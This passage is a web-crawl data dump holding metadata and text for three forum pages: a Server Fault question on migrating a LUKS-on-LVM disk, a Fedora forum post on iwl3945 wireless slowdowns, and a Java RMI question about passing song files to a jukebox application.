"WARC-Identified-Payload-Type": "application/xhtml+xml",
"WARC-Payload-Digest": "sha1:CDXIRKXBJWQNU5G2I42L5NJWWZJLIUXT",
"WARC-Record-ID": "<urn:uuid:ef856fb6-efa9-4382-9808-6eacdea7714e>",
"WARC-Target-URI": "https://www.gut-erklaert.de/mathematik/abc-formel-beispiele-erklaerung.html",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:1416e83c-4e80-4cb9-8032-4eb8f9096a34>"
},
"warc_info": "isPartOf: CC-MAIN-2021-31\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for July/August 2021\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-191.ec2.internal\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
1,
37,
38,
70,
106,
107,
206,
207,
276,
319,
376,
406,
458,
459,
606,
607,
608,
630,
631,
803,
804,
853,
854,
924,
925,
978,
979,
1250,
1251,
1285,
1286,
1639,
1640,
1667,
1668,
1802,
1803,
1804,
1805,
1806,
1827,
1828,
1947,
1948,
1992,
1993,
2083,
2084,
2092,
2093,
2522,
2523,
2545,
2546,
2604,
2605,
2645,
2646,
2736,
2737,
2745,
2746,
3241,
3242,
3264,
3265,
3297,
3298,
3386,
3387,
3395,
3396,
3697,
3698,
3720,
3721,
3722,
3756,
3757,
3858,
3859,
3882,
3883,
3884,
3929,
3930,
3947,
3948,
3974,
3975,
4024,
4025,
4053,
4083,
4121,
4122,
4139,
4140,
4176,
4177,
4260,
4261,
4324,
4325,
4737,
4738,
4773,
4774,
4886,
4887,
4968,
5052,
5126,
5127,
5166,
5167,
5302,
5303,
5345,
5346,
5438,
5439
],
"line_end_idx": [
1,
37,
38,
70,
106,
107,
206,
207,
276,
319,
376,
406,
458,
459,
606,
607,
608,
630,
631,
803,
804,
853,
854,
924,
925,
978,
979,
1250,
1251,
1285,
1286,
1639,
1640,
1667,
1668,
1802,
1803,
1804,
1805,
1806,
1827,
1828,
1947,
1948,
1992,
1993,
2083,
2084,
2092,
2093,
2522,
2523,
2545,
2546,
2604,
2605,
2645,
2646,
2736,
2737,
2745,
2746,
3241,
3242,
3264,
3265,
3297,
3298,
3386,
3387,
3395,
3396,
3697,
3698,
3720,
3721,
3722,
3756,
3757,
3858,
3859,
3882,
3883,
3884,
3929,
3930,
3947,
3948,
3974,
3975,
4024,
4025,
4053,
4083,
4121,
4122,
4139,
4140,
4176,
4177,
4260,
4261,
4324,
4325,
4737,
4738,
4773,
4774,
4886,
4887,
4968,
5052,
5126,
5127,
5166,
5167,
5302,
5303,
5345,
5346,
5438,
5439,
5455
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 5455,
"ccnet_original_nlines": 122,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.03900709003210068,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.044326238334178925,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.2464538961648941,
"rps_doc_frac_unique_words": 0.31329479813575745,
"rps_doc_mean_word_length": 4.961849689483643,
"rps_doc_num_sentences": 76,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 5.033139705657959,
"rps_doc_word_count": 865,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.0442684106528759,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.03075489029288292,
"rps_doc_frac_chars_top_3gram": 0.016309410333633423,
"rps_doc_frac_chars_top_4gram": 0.013979500159621239,
"rps_doc_books_importance": -517.294677734375,
"rps_doc_books_importance_length_correction": -517.294677734375,
"rps_doc_openwebtext_importance": -264.4790344238281,
"rps_doc_openwebtext_importance_length_correction": -264.4790344238281,
"rps_doc_wikipedia_importance": -231.2024688720703,
"rps_doc_wikipedia_importance_length_correction": -231.2024688720703
},
"fasttext": {
"dclm": 0.9747501611709595,
"english": 0.0005074299988336861,
"fineweb_edu_approx": 2.071338176727295,
"eai_general_math": 0.09567456692457199,
"eai_open_web_math": 0.882932722568512,
"eai_web_code": 0.5215259790420532
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "512.94",
"labels": {
"level_1": "Science and Natural history",
"level_2": "Mathematics",
"level_3": "Algebra"
}
},
"secondary": {
"code": "512",
"labels": {
"level_1": "Science and Natural history",
"level_2": "Mathematics",
"level_3": "Algebra"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "4",
"label": "Missing Images or Figures"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "10",
"label": "Knowledge Article"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "2",
"label": "High School Level"
},
"secondary": {
"code": "3",
"label": "Undergraduate Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
7,097,801,587,681,828,000 | 1
I have LUKS on LVM (LVM Partitions created first, then each partition is encrypted separately, following this guide on Arch Wiki).
I am using two volume groups, and each is isolated to a drive. This is because I have one SSD and one platter, and I knew I would want to replace the platter down the road.
I'm now down the road, and want to replace the platter.
Current layout
Here is what I have:
========================
/dev/sda - small SSD
------------------------
/dev/sda1 /boot unencrypted, GRUB
/dev/sda2 PV, vgssd
------------------------
houses:
LV VG Decrypted to => Mounted to
root vgssd /dev/mapper/vgssdd-root_crypt => /
swap vgssd swap
usrlocal vgssd /dev/mapper/vgssdd-usrlocal_crypt => /usr/local
========================
/dev/sdb - large platter HDD
------------------------
/dev/sdb1 PV, vghdd
------------------------
houses:
LV VG Decrypted to => Mounted to
home vghdd /dev/mapper/vghdd-home_crypt => /home
tmp vghdd /dev/mapper/vghdd-tmp_crypt => /tmp
varlog vghdd /dev/mapper/vghdd-varlog_crypt => /var/log
========================
What I tried
Given that the crypts are set up inside of (and isolated to) the partitions, I thought that I should be able to simply do:
• Add the new drive via external case (lists as /dev/sdd)
• Mark it as a Physical Volume for LVM
pvcreate /dev/sdd
• Add it to the vghdd Volume Group
vgextend vghdd /dev/sdd
• Move the extents from the old drive to the new drive
vgmove /dev/sdb1 /dev/sdd
• Remove the old drive from the Volume Group
vgreduce vghdd /dev/sdb1
All of that went well. I then assumed, probably incorrectly, that nothing would need to be adjusted in crypttab, GRUB, or initramfs.
So, I shut down, swapped out the old and new drive, and turned on the system to find a nice little white cursor flashing at me, rather than GRUB.
Recovery note:I then put the old drive back in and was able to boot, but the partitions that had been on it were obviously not there; I reversed the above, moving the PEs from the new drive to the old, and then was able to boot normally.
Crypt & fstab notes
Anyway, now I'm left with wondering what else I would need to do to migrate. I've found a lot of help about spanning disks with LUKS on LVM, but that's not really what I'm after.
• My crypttab had UUIDs; I didn't catch that ahead of time, but this shouldn't prevent GRUB from loading, as it loaded and booted OK when the HDD disk was present but empty.
• My fstab points to /var/mapper/blahs; these shouln't need to be modified, unless I missed something.
• Does GRUB and/or initramfs care about the PV GUID or the LV guids?
Questions
1. Do I need to rebuild GRUB?
2. Do I need to rerun initramfs?
3. Is there something else I'm missing?
4. What is the proper order of steps AFTER the vgmove?
1
• Maybe start with a pvdisplay to get the uid from the old drive and run a find to see what references it? Just a long shot but it might give you something to work with – Gravy Feb 13 '15 at 1:51
0
Here is something that might help... Even though the partition size is staying the same, you may still need to "resize" your encrypted volume.
cryptsetup --verbose resize cryptroot
This is based on:
http://www.ms.unimelb.edu.au/~trice/linux/tricks/luksresize/
Although from what I've read, It seems like most recommend encrypting at the physical level with luks and building your vg's and lv's on top of that.
3
• I'll give it a shot. The reason I went the other way around is because with LUKS on LVM, you're supposed to be able to span disks. I'm not using Arch, but I followed this guide. They later talk about spanning disks and mention resizing the crypt and the partition; I didn't think I would need to do that, but it's worth a shot. – Damon Feb 13 '15 at 2:48
• hopefully it will work out, keep me posted, i'll keep looking as i have time for more information – Gravy Feb 13 '15 at 3:29
• I was hoping to give this a shot over the weekend, but that didn't work out. I'll keep you posted. And that link you shared is similar enough to what I'm doing so I think will help. – Damon Feb 16 '15 at 20:43
Your Answer
By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy
Not the answer you're looking for? Browse other questions tagged or ask your own question. | {
"url": "https://serverfault.com/questions/667239/how-do-i-replace-a-disk-with-luks-on-lvm2-no-raid-no-span",
"source_domain": "serverfault.com",
"snapshot_id": "crawl=CC-MAIN-2021-10",
"warc_metadata": {
"Content-Length": "155456",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:VIYUR6A6MA3YZKEHPUZ4QM3NVB7UQE26",
"WARC-Concurrent-To": "<urn:uuid:736e7112-001c-4b1f-9e1d-88fa70aeabca>",
"WARC-Date": "2021-03-02T01:24:55Z",
"WARC-IP-Address": "151.101.193.69",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:5LYBAXZG3LG4XHAW4E4PLUXKQNHRZC5I",
"WARC-Record-ID": "<urn:uuid:0a88ee10-ea09-42cd-9eec-8a4d84aafd70>",
"WARC-Target-URI": "https://serverfault.com/questions/667239/how-do-i-replace-a-disk-with-luks-on-lvm2-no-raid-no-span",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:1fb2bb6a-4916-4259-86c1-01e8b6cfe144>"
},
"warc_info": "isPartOf: CC-MAIN-2021-10\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for February/March 2021\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-150.ec2.internal\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
2,
3,
134,
135,
308,
309,
365,
366,
381,
382,
403,
404,
429,
430,
451,
452,
477,
478,
516,
538,
539,
564,
565,
573,
616,
667,
688,
752,
753,
778,
779,
808,
809,
834,
835,
857,
858,
883,
884,
892,
935,
989,
1041,
1100,
1101,
1126,
1127,
1140,
1141,
1264,
1265,
1325,
1366,
1367,
1389,
1394,
1431,
1432,
1460,
1465,
1522,
1523,
1553,
1558,
1605,
1606,
1635,
1640,
1641,
1774,
1775,
1921,
1922,
2160,
2161,
2181,
2182,
2361,
2362,
2538,
2643,
2714,
2715,
2725,
2726,
2758,
2793,
2835,
2892,
2894,
3092,
3094,
3095,
3238,
3239,
3283,
3284,
3302,
3303,
3364,
3365,
3515,
3516,
3518,
3877,
4006,
4220,
4221,
4233,
4234,
4334,
4335
],
"line_end_idx": [
2,
3,
134,
135,
308,
309,
365,
366,
381,
382,
403,
404,
429,
430,
451,
452,
477,
478,
516,
538,
539,
564,
565,
573,
616,
667,
688,
752,
753,
778,
779,
808,
809,
834,
835,
857,
858,
883,
884,
892,
935,
989,
1041,
1100,
1101,
1126,
1127,
1140,
1141,
1264,
1265,
1325,
1366,
1367,
1389,
1394,
1431,
1432,
1460,
1465,
1522,
1523,
1553,
1558,
1605,
1606,
1635,
1640,
1641,
1774,
1775,
1921,
1922,
2160,
2161,
2181,
2182,
2361,
2362,
2538,
2643,
2714,
2715,
2725,
2726,
2758,
2793,
2835,
2892,
2894,
3092,
3094,
3095,
3238,
3239,
3283,
3284,
3302,
3303,
3364,
3365,
3515,
3516,
3518,
3877,
4006,
4220,
4221,
4233,
4234,
4334,
4335,
4425
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 4425,
"ccnet_original_nlines": 112,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.3660982847213745,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.06318957358598709,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.23971916735172272,
"rps_doc_frac_unique_words": 0.4391244947910309,
"rps_doc_mean_word_length": 4.281805515289307,
"rps_doc_num_sentences": 38,
"rps_doc_symbol_to_word_ratio": 0.0010030099656432867,
"rps_doc_unigram_entropy": 5.267757892608643,
"rps_doc_word_count": 731,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.05239617079496384,
"rps_doc_frac_chars_dupe_6grams": 0.028753990307450294,
"rps_doc_frac_chars_dupe_7grams": 0.019169330596923828,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.013418530113995075,
"rps_doc_frac_chars_top_3gram": 0.01405750960111618,
"rps_doc_frac_chars_top_4gram": 0.008626200258731842,
"rps_doc_books_importance": -387.92156982421875,
"rps_doc_books_importance_length_correction": -387.92156982421875,
"rps_doc_openwebtext_importance": -257.3534851074219,
"rps_doc_openwebtext_importance_length_correction": -257.3534851074219,
"rps_doc_wikipedia_importance": -205.10772705078125,
"rps_doc_wikipedia_importance_length_correction": -205.10772705078125
},
"fasttext": {
"dclm": 0.04774856939911842,
"english": 0.9442722797393799,
"fineweb_edu_approx": 1.1341999769210815,
"eai_general_math": 0.08388186246156693,
"eai_open_web_math": 0.29453957080841064,
"eai_web_code": 0.05664664879441261
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.44",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "004.678",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
4,654,563,116,610,638,000 |
PDA
View Full Version : iwl3945 wireless driver
Mikko
5th January 2010, 11:11 AM
I have a
05:00.0 Network controller: Intel Corporation PRO/Wireless 3945ABG [Golan] Network Connection (rev 02)
in my laptop and it uses the iwl3945 driver. I use the default NetworkManager installation and WPA encryption. The trouble is that the connection slows down to a crawl every once in a while or hangs completely. There's no error that I can see and some traffic does go through, but the speed is a tiny fraction of what it's supposed to be. It's easy work around the problem by stopping NetworkManager, reloading the driver module, and restarting NM. Wireless always comes up immediately and at full speed and downloads that were hung continue without problems. I have this script that I run as root:
service NetworkManager stop
rmmod iwl3945
modprobe iwl3945
service NetworkManager start
Sometimes it gets annoying though, if the wireless hangs e.g. several times in a couple of hours. Sometimes it never happens in a day of usage. I've had this problem on two laptops (same driver) and in F10, 11 and now 12. I've tried to look at the iwl3945 kernel bugs, but there's a lot of them and I suppose the problem could also be with NetworkManager, so I haven't been able to figure out if it's been reported already. I guess it must have been. A lot of things with the driver and NM have been fixed, but this one seems to stay. | {
"url": "http://forums.fedoraforum.org/archive/index.php/t-237922.html",
"source_domain": "forums.fedoraforum.org",
"snapshot_id": "crawl=CC-MAIN-2013-20",
"warc_metadata": {
"Content-Length": "6078",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:IRYJZPSOWYCCTYBTNDNVGL2JBLNM57TD",
"WARC-Concurrent-To": "<urn:uuid:183a7e8a-fd65-4586-88e6-c29753a66ef0>",
"WARC-Date": "2013-05-24T02:19:07Z",
"WARC-IP-Address": "50.97.98.227",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:YHS4N7VOKXHF4PCIB357WX4HONXG22MB",
"WARC-Record-ID": "<urn:uuid:3e42137d-59eb-43b0-8f48-87af1a0d7a56>",
"WARC-Target-URI": "http://forums.fedoraforum.org/archive/index.php/t-237922.html",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:94cdb074-cb54-4d89-b7b8-548c3afde847>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-60-113-184.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2013-20\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web with URLs provided by Blekko for Spring 2013\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
1,
5,
6,
50,
51,
52,
58,
85,
94,
95,
198,
199,
798,
799,
827,
828,
842,
843,
860,
861,
890,
891
],
"line_end_idx": [
1,
5,
6,
50,
51,
52,
58,
85,
94,
95,
198,
199,
798,
799,
827,
828,
842,
843,
860,
861,
890,
891,
1425
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 1425,
"ccnet_original_nlines": 22,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.4309210479259491,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.0625,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.1743421107530594,
"rps_doc_frac_unique_words": 0.6153846383094788,
"rps_doc_mean_word_length": 4.546558856964111,
"rps_doc_num_sentences": 15,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.732880115509033,
"rps_doc_word_count": 247,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.008014249615371227,
"rps_doc_frac_chars_top_3gram": 0.010685659945011139,
"rps_doc_frac_chars_top_4gram": 0,
"rps_doc_books_importance": -123.43472290039062,
"rps_doc_books_importance_length_correction": -122.06716918945312,
"rps_doc_openwebtext_importance": -79.7876205444336,
"rps_doc_openwebtext_importance_length_correction": -79.7876205444336,
"rps_doc_wikipedia_importance": -56.29692840576172,
"rps_doc_wikipedia_importance_length_correction": -50.13825988769531
},
"fasttext": {
"dclm": 0.029613260179758072,
"english": 0.9647079706192017,
"fineweb_edu_approx": 1.098461627960205,
"eai_general_math": 0.6004393100738525,
"eai_open_web_math": 0.3391062617301941,
"eai_web_code": 0.23501521348953247
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.6",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "005.456",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "21",
"label": "Customer Support"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
-8,287,021,417,844,721,000 | help needed passing objects from rmi server to application
Discussion in 'Java' started by steve, Jun 16, 2005.
1. steve
steve Guest
I have a jukebox application written in java, I want to be able to
remotely select a song from a client to the server.
The problem I have is you have to run the server as a seperate
process/application via "java Server" this ofcourse means that the
server application has the object passed to it via remote method, which
would be the song file to play. However, the Jukebox application is
running at the same time and this is where all audio processing and
playing is carried out.
So, the question is, how do I get the file object from the Server
application to the Jukebox application.
I tried instantiating the Server as an internal class within the
Jukebox application code, e.g. JukeboxServer js1 = new JukeboxServer();
rmiregistry call
Server code
public class JukeboxServer
{
public JukeboxServer()
{
try
{
RemoteMusicImp remote1 = new RemoteMusicImp();
Naming.rebind("rmi://localhost:1099/MFS",remote1);
}
catch(Exception e)
{
System.out.println("JukeboxServer exception could not instantiate");
return;
}
System.out.println("jukebox server started and listening on port
1099");
}
}
This fails to start the Server, it works only if I run it as a seperate
application, but then i can't get the song file object passed to the
Jukebox application.
Am I missing something obvious? Please help if you can.
Thanks in advance Steve
steve, Jun 16, 2005
#1
1. Advertisements
Want to reply to this thread or ask your own question?
It takes just 2 minutes to sign up (and it's free!). Just click the sign up button to choose a username and then you can ask your own questions on the forum.
Similar Threads
1. Buu Nguyen
RMI, JINI or RMI/IIOP
Buu Nguyen, Aug 25, 2004, in forum: Java
Replies:
1
Views:
810
Sudsy
Aug 25, 2004
2. Norris Watkins
Replies:
6
Views:
1,883
Esmond Pitt
Jan 3, 2005
3. JScoobyCed
RMI Vs RMI over IIOP
JScoobyCed, Jan 28, 2005, in forum: Java
Replies:
1
Views:
953
Dag Sunde
Jan 28, 2005
4. Replies:
7
Views:
630
John C. Bollinger
Feb 18, 2005
5. Jan Schulze
Replies:
1
Views:
775
Esmond Pitt
Mar 26, 2005
6. Ranginald
Replies:
0
Views:
407
Ranginald
Feb 14, 2007
7. rajatag
RMI Objects Help
rajatag, Feb 3, 2007, in forum: Java
Replies:
7
Views:
390
Esmond Pitt
Feb 4, 2007
8. Sebastian
Replies:
0
Views:
466
Sebastian
Nov 10, 2010
Loading... | {
"url": "http://www.thecodingforums.com/threads/help-needed-passing-objects-from-rmi-server-to-application.144238/",
"source_domain": "www.thecodingforums.com",
"snapshot_id": "crawl=CC-MAIN-2016-36",
"warc_metadata": {
"Content-Length": "45749",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:IPRT27SM6M7Z5JKJ7QPY52M6ZLUHQ327",
"WARC-Concurrent-To": "<urn:uuid:34966786-3a4e-49ff-a19e-90fbd19ce356>",
"WARC-Date": "2016-08-28T20:06:27Z",
"WARC-IP-Address": "69.16.239.108",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:BS5T4DU27I7VN7RLKFGQNCEWLMZF3TOT",
"WARC-Record-ID": "<urn:uuid:881813ca-9b20-4c0c-a0fa-2370321bdeff>",
"WARC-Target-URI": "http://www.thecodingforums.com/threads/help-needed-passing-objects-from-rmi-server-to-application.144238/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:353bacfd-d1c0-4fc7-8031-5bd635969459>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-153-172-175.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2016-36\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web for August 2016\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
59,
60,
113,
114,
125,
126,
142,
143,
214,
270,
271,
338,
409,
485,
557,
629,
657,
658,
728,
772,
773,
842,
918,
919,
940,
941,
957,
958,
989,
995,
1022,
1028,
1036,
1042,
1093,
1148,
1154,
1177,
1183,
1256,
1268,
1274,
1343,
1355,
1361,
1362,
1368,
1369,
1445,
1518,
1543,
1544,
1604,
1605,
1633,
1639,
1663,
1670,
1692,
1693,
1748,
1749,
1907,
1923,
1939,
1940,
1966,
1967,
2012,
2025,
2031,
2042,
2050,
2060,
2077,
2097,
2110,
2116,
2127,
2137,
2153,
2169,
2185,
2186,
2211,
2212,
2257,
2270,
2276,
2287,
2295,
2309,
2326,
2340,
2346,
2357,
2365,
2387,
2404,
2421,
2434,
2440,
2451,
2459,
2475,
2492,
2507,
2520,
2526,
2537,
2545,
2559,
2576,
2589,
2590,
2611,
2612,
2653,
2666,
2672,
2683,
2691,
2707,
2723,
2738,
2751,
2757,
2768,
2776,
2790,
2807
],
"line_end_idx": [
59,
60,
113,
114,
125,
126,
142,
143,
214,
270,
271,
338,
409,
485,
557,
629,
657,
658,
728,
772,
773,
842,
918,
919,
940,
941,
957,
958,
989,
995,
1022,
1028,
1036,
1042,
1093,
1148,
1154,
1177,
1183,
1256,
1268,
1274,
1343,
1355,
1361,
1362,
1368,
1369,
1445,
1518,
1543,
1544,
1604,
1605,
1633,
1639,
1663,
1670,
1692,
1693,
1748,
1749,
1907,
1923,
1939,
1940,
1966,
1967,
2012,
2025,
2031,
2042,
2050,
2060,
2077,
2097,
2110,
2116,
2127,
2137,
2153,
2169,
2185,
2186,
2211,
2212,
2257,
2270,
2276,
2287,
2295,
2309,
2326,
2340,
2346,
2357,
2365,
2387,
2404,
2421,
2434,
2440,
2451,
2459,
2475,
2492,
2507,
2520,
2526,
2537,
2545,
2559,
2576,
2589,
2590,
2611,
2612,
2653,
2666,
2672,
2683,
2691,
2707,
2723,
2738,
2751,
2757,
2768,
2776,
2790,
2807,
2817
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 2817,
"ccnet_original_nlines": 131,
"rps_doc_curly_bracket": 0.0028399000875651836,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.25280898809432983,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.03183520957827568,
"rps_doc_frac_lines_end_with_ellipsis": 0.007575760129839182,
"rps_doc_frac_no_alph_words": 0.3239700496196747,
"rps_doc_frac_unique_words": 0.49373432993888855,
"rps_doc_mean_word_length": 4.639097690582275,
"rps_doc_num_sentences": 30,
"rps_doc_symbol_to_word_ratio": 0.0037453200202435255,
"rps_doc_unigram_entropy": 4.9371562004089355,
"rps_doc_word_count": 399,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.04213938117027283,
"rps_doc_frac_chars_dupe_6grams": 0.025931930169463158,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.02917342074215412,
"rps_doc_frac_chars_top_3gram": 0.04538087919354439,
"rps_doc_frac_chars_top_4gram": 0.02917342074215412,
"rps_doc_books_importance": -211.63986206054688,
"rps_doc_books_importance_length_correction": -211.63986206054688,
"rps_doc_openwebtext_importance": -129.99172973632812,
"rps_doc_openwebtext_importance_length_correction": -129.99172973632812,
"rps_doc_wikipedia_importance": -92.16102600097656,
"rps_doc_wikipedia_importance_length_correction": -92.16102600097656
},
"fasttext": {
"dclm": 0.03223317861557007,
"english": 0.8414134979248047,
"fineweb_edu_approx": 1.5670499801635742,
